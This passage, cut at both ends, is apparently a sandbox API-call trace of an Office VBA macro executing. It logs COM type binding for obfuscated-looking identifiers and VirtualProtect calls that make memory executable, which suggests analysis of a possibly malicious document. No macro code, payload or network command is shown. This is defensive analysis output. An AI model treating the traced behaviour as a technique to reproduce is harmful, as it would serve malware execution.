riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.253] IUnknown:AddRef (This=0xb941878) returned 0x5 [0076.253] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb941878) returned 0x4 [0076.253] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.253] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb941980) returned 0x4 [0076.253] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.253] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.254] VarAdd (in: pvarLeft=0xb8241f8, pvarRight=0xb8241c8, pvarResult=0xb824198 | out: pvarResult=0xb824198) returned 0x0 [0076.254] VarAdd (in: pvarLeft=0xb824198, pvarRight=0xb824180, pvarResult=0xb824168 | out: pvarResult=0xb824168) returned 0x0 [0076.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c7a, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="capponecheese") returned 14 [0076.254] ITypeComp:RemoteBind (in: This=0x679bb90, szName="capponecheese", lHashVal=0x10121b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c7a, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="capponecheese") returned 14 [0076.254] ITypeComp:RemoteBind (in: This=0x5a48630, szName="capponecheese", lHashVal=0x10121b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c7a, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="capponecheese") returned 14 [0076.254] ITypeComp:RemoteBind (in: This=0x679c130, szName="capponecheese", lHashVal=0x10121b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c7a, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="capponecheese") returned 14 [0076.254] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="capponecheese", lHashVal=0x10121b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.254] IMalloc:Alloc (This=0x7fefe465380, cb=0x15) returned 0x66c01b0 [0076.254] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0xe, _Src=0x5792c7a | out: _Dst=0x66c01b0) returned 0x0 [0076.254] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x15, _Src="_B_var_capponecheese" | out: _Dst="_B_var_capponecheese") returned 0x0 [0076.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=21, lpWideCharStr=0x1ff3d0, cchWideChar=21 | out: lpWideCharStr="_B_var_capponecheese") returned 21 [0076.254] IUnknown:AddRef (This=0x679bb80) returned 0x12 [0076.255] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_capponecheese", lHashVal=0x10e5f8, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.255] IUnknown:Release (This=0x679bb80) returned 0x11 [0076.255] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.255] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_capponecheese", lHashVal=0x10e5f8, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.255] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.255] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.255] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_capponecheese", lHashVal=0x10e5f8, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.255] IUnknown:Release (This=0x679c120) returned 0x7 [0076.255] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.255] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_capponecheese", lHashVal=0x10e5f8, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.255] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.255] IUnknown:AddRef (This=0x679bb80) returned 0x12 [0076.255] IUnknown:Release (This=0x679bb80) returned 0x11 [0076.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d104a6, cbMultiByte=21, lpWideCharStr=0x1ff430, cchWideChar=22 | out: lpWideCharStr="_B_var_capponecheese") returned 21 [0076.255] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_capponecheese", lHashVal=0x10e5f8, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x63005f00720061, ppTypeComp=0x6f007000000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x63005f00720061, ppTypeComp=0x6f007000000000, pDummy=0x0) returned 0x0 [0076.255] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xe, _Src=0x5792c7a | out: _Dst=0x1ff5f0) returned 0x0 [0076.255] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x5, _Src=0x57910ee | out: _Dst=0x66c01b0) returned 0x0 [0076.255] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.255] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.255] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792caa, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="virtoserer") returned 11 [0076.255] ITypeComp:RemoteBind (in: This=0x679bb90, szName="virtoserer", lHashVal=0x101f50, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792caa, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="virtoserer") returned 11 [0076.255] ITypeComp:RemoteBind (in: This=0x5a48630, szName="virtoserer", lHashVal=0x101f50, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792caa, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="virtoserer") returned 11 [0076.256] ITypeComp:RemoteBind (in: This=0x679c130, szName="virtoserer", lHashVal=0x101f50, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792caa, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="virtoserer") returned 11 [0076.256] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="virtoserer", lHashVal=0x101f50, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.256] IMalloc:Alloc (This=0x7fefe465380, cb=0x12) returned 0x66c01b0 [0076.256] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0xb, _Src=0x5792caa | out: _Dst=0x66c01b0) returned 0x0 [0076.256] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x12, _Src="_B_var_virtoserer" | out: _Dst="_B_var_virtoserer") returned 0x0 [0076.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=18, lpWideCharStr=0x1ff3d0, cchWideChar=18 | out: lpWideCharStr="_B_var_virtoserer") returned 18 [0076.256] IUnknown:AddRef (This=0x679bb80) returned 0x12 [0076.256] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_virtoserer", lHashVal=0x108dba, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.256] IUnknown:Release (This=0x679bb80) returned 0x11 [0076.256] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.256] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_virtoserer", lHashVal=0x108dba, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.256] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.256] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.256] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_virtoserer", lHashVal=0x108dba, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.256] IUnknown:Release (This=0x679c120) returned 0x7 [0076.256] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.256] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_virtoserer", lHashVal=0x108dba, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.256] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.256] IUnknown:AddRef (This=0x679bb80) returned 0x12 [0076.256] IUnknown:Release (This=0x679bb80) returned 0x11 [0076.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d104de, cbMultiByte=18, lpWideCharStr=0x1ff430, cchWideChar=19 | out: lpWideCharStr="_B_var_virtoserer") returned 18 [0076.256] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_virtoserer", lHashVal=0x108dba, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x76005f00720061, ppTypeComp=0x6f007400000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x76005f00720061, ppTypeComp=0x6f007400000000, pDummy=0x0) returned 0x0 [0076.256] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xb, _Src=0x5792caa | out: _Dst=0x1ff5f0) returned 0x0 [0076.256] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.256] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.256] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792cd6, cbMultiByte=10, lpWideCharStr=0x1ff470, cchWideChar=11 | out: lpWideCharStr="brucegodd") returned 10 [0076.257] ITypeComp:RemoteBind (in: This=0x679bb90, szName="brucegodd", lHashVal=0x102b53, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792cd6, cbMultiByte=10, lpWideCharStr=0x1ff470, cchWideChar=11 | out: lpWideCharStr="brucegodd") returned 10 [0076.257] ITypeComp:RemoteBind (in: This=0x5a48630, szName="brucegodd", lHashVal=0x102b53, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792cd6, cbMultiByte=10, lpWideCharStr=0x1ff470, cchWideChar=11 | out: lpWideCharStr="brucegodd") returned 10 [0076.257] ITypeComp:RemoteBind (in: This=0x679c130, szName="brucegodd", lHashVal=0x102b53, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792cd6, cbMultiByte=10, lpWideCharStr=0x1ff470, cchWideChar=11 | out: lpWideCharStr="brucegodd") returned 10 [0076.257] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="brucegodd", lHashVal=0x102b53, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.257] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x66c01b0 [0076.257] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0xa, _Src=0x5792cd6 | out: _Dst=0x66c01b0) returned 0x0 [0076.257] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x11, _Src="_B_var_brucegodd" | out: _Dst="_B_var_brucegodd") returned 0x0 [0076.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=17, lpWideCharStr=0x1ff3d0, cchWideChar=17 | out: lpWideCharStr="_B_var_brucegodd") returned 17 [0076.257] IUnknown:AddRef (This=0x679bb80) returned 0x12 [0076.257] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_brucegodd", lHashVal=0x103498, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.257] IUnknown:Release (This=0x679bb80) returned 0x11 [0076.257] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.257] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_brucegodd", lHashVal=0x103498, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.257] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.257] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.257] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_brucegodd", lHashVal=0x103498, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.257] IUnknown:Release (This=0x679c120) returned 0x7 [0076.257] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.257] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_brucegodd", lHashVal=0x103498, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.257] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.257] IUnknown:AddRef (This=0x679bb80) returned 0x12 [0076.257] IUnknown:Release (This=0x679bb80) returned 0x11 [0076.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10512, cbMultiByte=17, lpWideCharStr=0x1ff430, cchWideChar=18 | out: lpWideCharStr="_B_var_brucegodd") returned 17 [0076.257] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_brucegodd", lHashVal=0x103498, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x62005f00720061, ppTypeComp=0x65006300000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x62005f00720061, ppTypeComp=0x65006300000000, pDummy=0x0) returned 0x0 [0076.258] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xa, _Src=0x5792cd6 | out: _Dst=0x1ff5f0) returned 0x0 [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.258] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.258] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1ff230, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.258] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff230, pbstrName=0x0, pwOrdinal=0x1ff250 | out: pBstrDllName=0x1ff230*=0x0, pbstrName=0x0, pwOrdinal=0x1ff250*=0xf4c0) returned 0x0 [0076.258] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff230, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff230, pwOrdinal=0x500000000) returned 0x0 [0076.258] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.258] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.258] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.258] IMalloc:Free (This=0x7fefe465380, pv=0x666f0b0) [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.258] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.258] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.258] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.259] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.259] VirtualProtect (in: 